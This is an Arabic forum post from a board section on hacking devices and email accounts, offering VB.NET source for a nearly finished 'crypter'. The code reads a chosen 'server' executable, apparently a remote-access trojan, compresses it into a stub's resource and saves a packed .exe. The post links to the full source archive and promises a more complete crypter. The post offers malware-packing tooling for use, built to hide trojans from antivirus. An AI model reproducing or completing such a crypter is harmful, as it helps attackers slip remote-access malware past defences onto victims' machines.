development-point - سورس برنامج تشفير يحتاج لمسة اخيرة

development-point (https://vb.development-point.com/index.php)

- قسم إختراق الأجـهـزه والأيـمـيـلات (https://vb.development-point.com/forumdisplay.php?f=17)

- - سورس برنامج تشفير يحتاج لمسة اخيرة (https://vb.development-point.com/showthread.php?t=20866)

سورس برنامج تشفير يحتاج لمسة اخيرة

سلام عليكم ورحمة الله

اليوم معم اقدر انام عملت برنامج تشفير يحتاج لمسة اخيرة فقط
وهية سيت اب ومبروك عليك برنامج متكامل
صورة البرنامج

http://im37.gulfup.com/Apkjf.png
طبعا السورس يحتاج الى سيت اب فقط مرتب
وبل اخير قم باضافة الى زر التشفير الكود الاتي
Dim kbytes() As Byte
Dim ebytes() As Byte
Dim SVD As New SaveFileDialog
With SVD
.Title = "اختر مكان حفظ السيرفر المشفر"
.Filter = "تطبيقات|*.exe"
.ShowDialog()
End With
kbytes = IO.File.ReadAllBytes(TextBox1.Text)
ebytes = Compression.Compress(kbytes)
IO.File.WriteAllBytes(SVD.FileName, My.Resources.Folder)
WriteResource(SVD.FileName, ebytes)
MsgBox("Server Has Been Crypted Sacssasfly")

سورس البرنامج
http://upload.windows8vb.com/do.php?...8630129911.rar
انشالله غدا انزل برنامج تشفير كامل متكامل ومطوور رهيب

في امان الله